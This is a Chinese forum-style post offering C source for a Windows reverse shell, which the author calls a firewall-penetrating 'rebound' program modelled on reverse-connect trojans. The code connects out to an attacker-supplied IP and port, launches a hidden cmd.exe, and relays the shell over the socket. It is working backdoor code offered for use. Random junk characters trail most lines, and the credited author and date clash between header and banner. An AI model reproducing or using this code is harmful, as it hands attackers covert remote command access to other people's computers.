这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p^>_VE[S
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/* ============================== 6G0Y,B7&
Rebound port in Windows NT ?CU6RC n
By wind,2006/7 Ww)p&don
===============================*/ yDe6f(D
#include pB0p?D)n
#include O~~WP*N
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#pragma comment(lib,"wsock32.lib") sjIUW$
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void OutputShell(); &'KJh+jJ
SOCKET sClient; 4M,Q{G|e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z(c3GmY
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void main(int argc,char **argv) 0tb%h[%,M
{ +0Z,#b
WSADATA stWsaData; |f IIfYE
int nRet; t]14bf$*Q
SOCKADDR_IN stSaiClient,stSaiServer; B3C%**~:e
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if(argc != 3) vnr{Ekg
{ ewrs
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printf("Useage:\n\rRebound DestIP DestPort\n"); HY!R |
return; ]/ffA|"U`
} R!Lh~~@{(
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WSAStartup(MAKEWORD(2,2),&stWsaData); OAw- -rl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G~mLc
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stSaiClient.sin_family = AF_INET; 7H!/et?S,
stSaiClient.sin_port = htons(0); Q/zlU@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;eY.4/*R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'nRoa7v(
{ 0 *^>/*
printf("Bind Socket Failed!\n"); dYxX%"J
return; O3K TKL]
} -g\ ;B
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stSaiServer.sin_family = AF_INET; ` G-V
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $s]vZ(H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZULnS*V;5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ic;M=dsh:
{ OC=g 1
printf("Connect Error!"); zN3b`K. i
return; X%rsa7H3J
} euiP<[|h=
OutputShell(); !fmbm4!a
} j/p1/sJ[y
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void OutputShell() xNOArb5e5
{ {3`cSm6c
char szBuff[1024]; RIdh],-
SECURITY_ATTRIBUTES stSecurityAttributes; wG@f~$
OSVERSIONINFO stOsversionInfo; Mj<T+Ohz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 67b
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STARTUPINFO stStartupInfo; FKBI.}A?!'
char *szShell; PrqyJ
PROCESS_INFORMATION stProcessInformation; |5TzRz
unsigned long lBytesRead; NpLZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "K c/Cs2[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q,m+W='
stSecurityAttributes.lpSecurityDescriptor = 0; lx\9 Y 8
stSecurityAttributes.bInheritHandle = TRUE; q5xF~SQGw2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '4ip~>3?w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^V7'S<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1Eh6ti
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NH'Dz6K5
stStartupInfo.wShowWindow = SW_HIDE; zvbO
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stStartupInfo.hStdInput = hReadPipe; /Os6i&;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lc[)O3,,B
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GetVersionEx(&stOsversionInfo); G
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switch(stOsversionInfo.dwPlatformId) IqAML|C
{ |i\%>Y,
case 1: BIh^b?:zU
szShell = "command.com"; Mz 6PH)e;
break; $W]}m"l
default: {/}%[cY=
szShell = "cmd.exe"; ey@ccc*sZ9
break; i_e%HG
} yu>)[|-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); PH$C."Vv
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send(sClient,szMsg,77,0); 19b@QgfWpb
while(1) ?DGg.2f
{ E?-
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); HA74s':FN
if(lBytesRead) 3O*^[$vM
{ Ozg,6&3ji
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C2{*m{
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send(sClient,szBuff,lBytesRead,0); fSVb.MZa7
} _9C,N2a{C
else m+Kl
{ YeS5%?Fk
lBytesRead=recv(sClient,szBuff,1024,0); s}F.D^^G
if(lBytesRead<=0) break; qV0GpVJZU?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wxo*\WLe
} G=/^]E
} #y-R*4G
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return; 5=#2@qp
}